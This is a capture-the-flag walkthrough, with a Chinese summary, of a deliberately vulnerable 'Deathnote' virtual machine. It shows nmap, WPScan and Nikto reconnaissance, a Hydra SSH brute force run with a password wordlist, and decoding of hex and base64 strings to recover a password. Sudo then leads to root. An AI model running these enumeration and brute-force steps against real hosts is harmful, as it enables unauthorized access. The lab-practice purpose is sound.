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#web安全 #网络安全 #学习

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本文详细记录了对192.168.0.111的网络扫描过程，包括Nmap探测主机状态、服务版本、开放端口，WPScan检测WordPress安全漏洞，以及Nikto和Hydra进行密码暴力破解尝试。重点关注了WordPress的配置弱点和版本信息。

$ sudo nmap -sP 192.168.0.1/24

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-05 14:35 CST
Nmap scan report for 192.168.0.1
Host is up (0.00050s latency).
MAC Address: 24:69:8E:07:FE:4E (Shenzhen Mercury Communication Technologies)
Nmap scan report for 192.168.0.100
Host is up (0.20s latency).
MAC Address: 94:E2:3C:A7:02:C9 (Intel Corporate)
Nmap scan report for 192.168.0.103
Host is up (0.16s latency).
MAC Address: 52:43:BB:A1:BF:A7 (Unknown)
Nmap scan report for 192.168.0.105
Host is up (0.18s latency).
MAC Address: C8:94:02:0F:E5:33 (Chongqing Fugui Electronics)
Nmap scan report for earth.local (192.168.0.108)
Host is up (0.18s latency).
MAC Address: 50:01:D9:DA:FA:DD (Huawei Technologies)
Nmap scan report for 192.168.0.109
Host is up (0.0010s latency).
MAC Address: E8:6A:64:83:2C:C0 (Lcfc(hefei) Electronics Technology)
Nmap scan report for 192.168.0.111
Host is up (0.00047s latency).
MAC Address: 08:00:27:B6:FA:40 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.104
Host is up.
Nmap done: 256 IP addresses (8 hosts up) scanned in 6.72 seconds

$ sudo nmap -sV -sC -A 192.168.0.111

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-05 14:35 CST
Nmap scan report for 192.168.0.111
Host is up (0.00052s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp open     ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 5e:b8:ff:2d:ac:c7:e9:3c:99:2f:3b:fc:da:5c:a3:53 (RSA)
|   256 a8:f3:81:9d:0a:dc:16:9a:49:ee:bc:24:e4:65:5c:a6 (ECDSA)
|_  256 4f:20:c3:2d:19:75:5b:e8:1f:32:01:75:c2:70:9a:7e (ED25519)
53/tcp filtered domain
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:B6:FA:40 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms 192.168.0.111

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds

$ wpscan --url http://192.168.0.111/wordpress -e u

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.20
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.0.111/wordpress/ [192.168.0.111]
[+] Started: Tue Apr  5 15:12:26 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.0.111/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.0.111/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.0.111/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.0.111/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.8 identified (Insecure, released on 2021-07-20).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.0.111/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.8'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.0.111/wordpress/, Match: 'WordPress 5.8'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <================================================================================================================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] kira
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Apr  5 15:12:27 2022
[+] Requests Done: 48
[+] Cached Requests: 4
[+] Data Sent: 12.469 KB
[+] Data Received: 136.091 KB
[+] Memory used: 151.547 MB
[+] Elapsed time: 00:00:00

$ nikto -host http://deathnote.vuln/wordpress

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.111
+ Target Hostname:    deathnote.vuln
+ Target Port:        80
+ Start Time:         2022-04-05 15:13:34 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://deathnote.vuln/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET 
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /wordpress/license.txt: License file found may identify site software.
+ /wordpress/: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wordpress/wp-login.php: Wordpress login found
+ 7785 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2022-04-05 15:14:16 (GMT8) (42 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

username:kira
passwd:iamjustic3

<!-- notes.txt -->
death4
death4life
death4u
death4ever
death4all
death420
death45
death4love
death49
death48
death456
death4014
1death4u
yaydeath44
thedeath4u2
thedeath4u
stickdeath420
reddeath44
megadeath44
megadeath4
killdeath405
hot2death4sho
death4south
death4now
death4l0ve
death4free
death4elmo
death4blood
death499Eyes301
death498
death4859
death47
death4545
death445
death444
death4387n
death4332387
death42521439
death42
death4138
death411
death405
death4me

$ hydra -l l -P ~/notes.txt 192.168.0.111 ssh

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-05 16:02:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43 login tries (l:1/p:43), ~3 tries per task
[DATA] attacking ssh://192.168.0.111:22/
[22][ssh] host: 192.168.0.111   login: l   password: death4me
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-05 16:02:16

l@deathnote:~$ ls

user.txt

l@deathnote:~$ cat user.txt

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>------------------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------.

i think u got the shell , but you wont be able to kill me -kira

l@deathnote:~$ find / -name "L"

/opt/L

63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

cGFzc3dkIDoga2lyYWlzZXZpbCA=

passwd : kiraisevil

```bash
l@deathnote:/opt/L/fake-notebook-rule$ su kira

Password:

kira@deathnote:/opt/L/fake-notebook-rule$ id

uid=1001(kira) gid=1001(kira) groups=1001(kira),27(sudo)

kira@deathnote:/opt/L/fake-notebook-rule$ sudo su -l

[sudo] password for kira:

root@deathnote:~# ls

root.txt

root@deathnote:~# cat root.txt



      ::::::::       ::::::::       ::::    :::       ::::::::       :::::::::           :::    :::::::::::       :::::::: 
    :+:    :+:     :+:    :+:      :+:+:   :+:      :+:    :+:      :+:    :+:        :+: :+:      :+:          :+:    :+: 
   +:+            +:+    +:+      :+:+:+  +:+      +:+             +:+    +:+       +:+   +:+     +:+          +:+         
  +#+            +#+    +:+      +#+ +:+ +#+      :#:             +#++:++#:       +#++:++#++:    +#+          +#++:++#++   
 +#+            +#+    +#+      +#+  +#+#+#      +#+   +#+#      +#+    +#+      +#+     +#+    +#+                 +#+    
#+#    #+#     #+#    #+#      #+#   #+#+#      #+#    #+#      #+#    #+#      #+#     #+#    #+#          #+#    #+#     
########       ########       ###    ####       ########       ###    ###      ###     ###    ###           ########       

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF
root@deathnote:~# exit
logout